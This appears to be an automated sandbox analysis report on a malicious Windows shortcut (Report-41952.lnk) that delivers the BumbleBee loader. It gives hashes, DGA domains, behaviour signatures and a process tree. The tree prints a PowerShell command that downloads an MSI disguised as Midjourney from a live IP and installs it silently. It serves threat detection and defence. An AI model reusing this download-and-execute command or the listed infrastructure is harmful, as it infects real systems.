Analysis

  • max time kernel
    132s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-10-2024 12:50

General

  • Target

    Report-41952.lnk

  • Size

    3KB

  • MD5

    2aed3939fbf8f1967d68fcc746771889

  • SHA1

    eb04819a97ca2cf33211c6ea323a9c77cdfacfcf

  • SHA256

    106c81f547cfe8332110520c968062004ca58bcfd2dbb0accd51616dd694721f

  • SHA512

    0d45000b7a470655668e5c0c95aaab3911b75b3f4163abb02f9b6e987e070ad02af144d5f791ebf6940c5c838f35ff55f7c0b906ade62f47dde6ad9ff1750b1c

Malware Config

Extracted

Family

bumblebee

Botnet

msi

Attributes
  • dga

    tvx1ovdepj8.life

    acgr6r8zdot.life

    ilofx941igp.life

    8x2apo5m7ri.life

    x9yrzer0ndt.life

    93j4v4jopzd.life

    ameagxzo2f7.life

    nyy41uibsv5.life

    ru4jvijdytq.life

    l9t6r0y6cvi.life

    f4vb9n3tdvh.life

    9do3mcejztt.life

    pxu1ajsdhqr.life

    7exy2b231n2.life

    vu5b47m18jn.life

    6mnudp7zj73.life

    p5047yjrb8q.life

    d0xtxp89bb9.life

    ygo9u1fkwux.life

    fig3gj0v6qe.life

    38f5wvwwn7o.life

    txgogs9p8a1.life

    uyn0icgx1kv.life

    2z1ls31az7s.life

    0cc2z8zrnhf.life

    fsr2hskx44p.life

    du19ek78tjw.life

    234ct3lkozp.life

    he8fq4k8d3w.life

    7ewh8ltr7il.life

  • dga_seed

    1.0163655285949564e+18

  • domain_length

    11

  • num_dga_domains

    100

  • port

    443

rc4.plain

Signatures

  • BumbleBee

    BumbleBee is a loader malware written in C++.

  • Blocklisted process makes network request 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 6 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Report-41952.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\Admin\AppData\Roaming\y.msi";msiexec /i C:\Users\Admin\AppData\Roaming\y.msi /qn
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2852
      • C:\Windows\system32\msiexec.exe
        "C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Roaming\y.msi /qn
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2476
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4940
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 9C980EB4C02147D0E70231B7471B140D
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4872
    • C:\Windows\System32\MsiExec.exe
      "C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll"
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      PID:2336

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\BDncqpUxZl.dll

    Filesize

    2.1MB

    MD5

    40ee908eff9418d1cbcb36ea516ca34e

    SHA1

    e13e947f3ce59a2a58ce09c2d8888053d685fa44

    SHA256

    7df703625ee06db2786650b48ffefb13fa1f0dae41e521b861a16772e800c115

    SHA512

    eedae343bf53411aa9a64e0f6ae9ee1ac15b6cdc02d94894604974e5d0ffcafc56f9df9afa368cab38a017785e559d75bb9dea95bffc78088048cf3b1ec7d639

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tlnssraf.dlm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\y.msi

    Filesize

    2.6MB

    MD5

    c962d866683ba35349a00a70e9c759b4

    SHA1

    8527e1ab0068df818d5bc991bca0e12c442912c1

    SHA256

    c26344bfd07b871dd9f6bd7c71275216e18be265e91e5d0800348e8aa06543f9

    SHA512

    e05e172dc1c0b5feca7ca894d75790e1ceb1cf0f006d90ea6950041fadb14cec9503b628a09584a3bca21459618cc7ed7dd0b603572cdf5442391c74af5a68fb

  • C:\Windows\Installer\MSIC0EE.tmp

    Filesize

    816KB

    MD5

    aa88d8f40a286b6d40de0f3abc836cfa

    SHA1

    c24eab9e4b10b159b589f4c3b64ef3db111ea1c8

    SHA256

    8d633efeda1249356b11bf8f46583242356e4f903056b53bd25a99511d1790a1

    SHA512

    6c2f2f6a2d66015f30158962d653e381136f0f30023380a0ce95bd0944d856113fbde65db52dbb3b5de1c0e2edf2cd53184e721c64b916834be4198c61224519

  • memory/2336-51-0x0000025243EB0000-0x00000252440C9000-memory.dmp

    Filesize

    2.1MB

  • memory/2336-54-0x0000025243EB0000-0x00000252440C9000-memory.dmp

    Filesize

    2.1MB

  • memory/2336-50-0x0000025243EB0000-0x00000252440C9000-memory.dmp

    Filesize

    2.1MB

  • memory/2336-53-0x0000025243EB0000-0x00000252440C9000-memory.dmp

    Filesize

    2.1MB

  • memory/2336-52-0x0000025243EB0000-0x00000252440C9000-memory.dmp

    Filesize

    2.1MB

  • memory/2852-13-0x00007FFD8B300000-0x00007FFD8BDC1000-memory.dmp

    Filesize

    10.8MB

  • memory/2852-19-0x00007FFD8B300000-0x00007FFD8BDC1000-memory.dmp

    Filesize

    10.8MB

  • memory/2852-14-0x00007FFD8B300000-0x00007FFD8BDC1000-memory.dmp

    Filesize

    10.8MB

  • memory/2852-2-0x00007FFD8B303000-0x00007FFD8B305000-memory.dmp

    Filesize

    8KB

  • memory/2852-12-0x00000258E47A0000-0x00000258E47C2000-memory.dmp

    Filesize

    136KB